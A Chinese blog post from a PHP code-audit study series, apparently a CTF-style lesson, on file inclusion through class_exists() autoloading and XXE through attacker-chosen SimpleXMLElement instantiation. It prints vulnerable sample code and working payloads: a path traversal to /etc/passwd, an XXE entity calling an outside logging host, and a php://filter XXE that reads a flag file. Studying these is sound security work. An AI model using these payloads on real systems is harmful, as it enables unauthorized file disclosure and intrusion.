PHP代码审计学习-PHP-Audit-Labs-day3

前言

本节主要介绍了文件包含和XXE漏洞,主要引起函数是class_exists和SimpleXMLElement。

class_exists()函数

class_exists:(PHP 4,PHP 5,PHP 7)
功能:检查类是否已定义
定义:bool class_exists ( string $class_name[, bool $autoload = true ] )

它是有两个参数的,我们平时用这个方法的时候大都只给了第一个参数,第二个参数的默认值是默认为true,而关于第二个参数的解释是:
autoload
Whether or not to call __autoload by default.
所以当我们不设置第二个参数时,会去调用__autoload方法去加载类

雪花这个题目就会存在安全问题

function __autoload($className) {
    include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data['t'], $data['v']);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

class HomeController {
    private $template;
    private $variables;

    public function __construct($template, $variables) {
        $this->template = $template;
        $this->variables = $variables;
    }

    public function render() {
        if ($this->variables['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}

这段代码有两个漏洞。一个就是class_exists引起的文件包含,不过需要5.3以前的环境才能利用。
payload:../../../../etc/passwd
在代码第9行中类名称用于新的对象实例化。其构造函数的第一个参数也位于攻击者的控制之下。可以调用PHP代码库的任意构造函数。
代码中是没有什么函数可以利用的,但是php中有内置函数SimpleXMLElement可以造成XXE漏洞

SimpleXMLElement函数

SimpleXMLElement是php SimpleXML的一部分
用于表示XML文档中的元素(php5,php7)

SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] )

data_is_url参数可以传递解析外部的XML文件

payload:
<?xml%20version="1.0"%20encoding="UTF-8"?><!DOCTYPE%20root%20[<!ENTITY%20%%20remote%20SYSTEM%20"http://ip.port.iv8vqt.ceye.io/xxe_test">%remote;]><root/>

这里有个坑点,get传递xml字符串时,会解析失败。暂时还未找到方法解决,以后在补。。

可以参考以下代码理解

<?php 
$ttt = <<<eof
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.iv8vqt.ceye.io/xxe_test">
%remote;]>
<root/>
eof;
$xmlclass = new SimpleXMLElement($ttt, LIBXML_NOENT);
var_dump($xmlclass);
?>

CTF练习

// index.php
<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
	function ($class){
		new NotFound();
	}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
	$newclass = new $classname($param,$param2);
	var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

可以看到class_exists,当类不存在就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息

这个题目共需要两个内置类来解,一个是GlobIterato,用于搜索文件。一个是SimpleXMLElement用于XXE读取文件

GlobIterato
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0

搜索文件payload

name=GlobIterator&param=./*.php&param2=0

使用内置类 SimpleXMLElement 读取 f1agi3hEre.php 文件的内容,,这里我们要结合使用PHP流的使用,因为当文件中存在: < > & ' " 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出

payload,param2=2,实际上这里2对应的模式是 LIBXML_NOENT

index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>&param2=2

小结

PHP中参数控制
PHP中内置类的使用
class_exists函数安全隐患

参考链接

day3
day3题解

posted @ 2020-12-25 13:46  kidicc  阅读(158)  评论(0编辑  收藏  举报